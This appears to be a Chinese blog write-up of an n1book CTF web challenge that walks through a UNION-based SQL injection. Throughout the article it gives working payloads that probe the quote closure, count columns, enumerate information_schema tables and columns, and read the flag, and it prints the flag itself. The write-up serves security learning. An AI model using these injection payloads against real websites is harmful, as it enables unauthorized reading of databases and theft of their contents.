[第一章 web入门]SQL注入-1

进入到页面之后发现是一片文章。文章内容不重要。sql注入嘛,重要的是看url地址和表单

它的url是这样的:

[第一章 web入门]SQL注入-1插图

很明显id是一个参数,我们需要传入一个值进去。

我们这里尝试传入id=2。发现文章内容有变化,很明显这是一个查询。

[第一章 web入门]SQL注入-1插图1

尝试键入id=2a 发现页面的内容和id=2的内容是一致的。那么说明这里一个字符型的注入。

?id=2a
[第一章 web入门]SQL注入-1插图2

一、判断闭合的字符串

?id=1' and 1 = 1 %23   // 有结果
?id=1' and 1 = 2 %23  // 无结果

由上方可以得出,该查询可以通过单引号进行闭合。

其中的%23为url编码,其解码为#,符号#在sql语言中表示注释。在url传入的参数一般是使用GET方法接受的参数。因此必须要使用%23代替 #。而对于POST方法接受参数,我们直接使用#即可。

通过此payload大概可以猜测出后端的查询语句是这样写的

select * from notes where id = '$id' limit 1,1 

而我们传入id=1' and 1 = 1 %23 后期查询语句长这样

select * from notes where id = '1' and 1 = 1    #'

// 而# 的意义在与注释掉sql语句原来的单引号,使其不报错

懂得以上之后。我们开始判断字段(列)数,因为我们执行的查询是有结果返回到页面的。所以猜测可能存在union注入。但不存在报错注入。

二、判断表的字段

构造Payload:

/index.php?id=1' order by 3 %23  有回显
/index.php?id=1' order by 4 %23  无回显

其中的order by 指定以第几列的结果进行排序

当我们指定一个没有的列时,则会报错未知的列。如下:

mysql> select user,password from users where user_id = 1 order by 1;
+-------+----------------------------------+
| user  | password                         |
+-------+----------------------------------+
| admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
+-------+----------------------------------+
1 row in set (0.01 sec)

mysql>
mysql> select user,password from users where user_id = 1 order by 10;
ERROR 1054 (42S22): Unknown column '10' in 'order clause'

我们可以看到当order by 1 的时候。可以正确的查出数据。而order by 10 的时候。

则直接报ERROR 1054 (42S22): Unknown column '10' in 'order clause'错误。并没有任何数据被查出。

因此我们可以判断当前表的列数为3列。

三、union获取数据

知道它有多少列的时候,我们就可以使用union语句啦。

union语句有个铁规矩,就是只有查询数据才可以使用union。且union前后的select要有相同的列。否则会报错。

这就是我们为什么要判断列数的原因啦。

构造Payload:

?id=1' union select 1,2,3 %23
[第一章 web入门]SQL注入-1插图3

发现并没没有返回我们后者查询的数据,猜测可能是后端代码的限制。只允许返回一个查询。

我们将前者修改为id=-1即可,再次尝试。

?id=-1' union select 1,2,3 %23
[第一章 web入门]SQL注入-1插图4

页面返回了2和3。我们将2和3的位置修改为我们的查询即可。

?id=-1' union select 1,version(),database() %23
[第一章 web入门]SQL注入-1插图5

根据结果可以得知当前使用的数据库软件的版本为5.5.64-MariaDB。而当前使用的数据库为note

再次构造Payload获取当前数据库的所有表

?id=-1' union select 1,group_concat(table_name),database() from information_schema.tables where table_schema='note' %23
[第一章 web入门]SQL注入-1插图6

根据结果可以发现,note数据库下有两张表,分别是fl4gnotes

下面我们就需要获取fl4g表的列明啦。因为fl4g这个表名很可以,绝大数CTF的题目都是这个表名。

payload:

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='fl4g' and table_schema='note' %23
[第一章 web入门]SQL注入-1插图7

通过结果发现,该表中存在fllllag字段。

下面我们就可以查询fl4g这个表了。

payload:

id=-1' union select 1,2,fllllag from fl4g %23
[第一章 web入门]SQL注入-1插图8
n1book{union_select_is_so_cool}

最后就得到flag啦。

本文作者: x1ong
免责声明:本博客所有文章仅用于学习交流
转载声明:文章为作者原创文章 转载请注明来源
本文链接: https://www.x1ong.fun/n1book/11539.html
上一篇
下一篇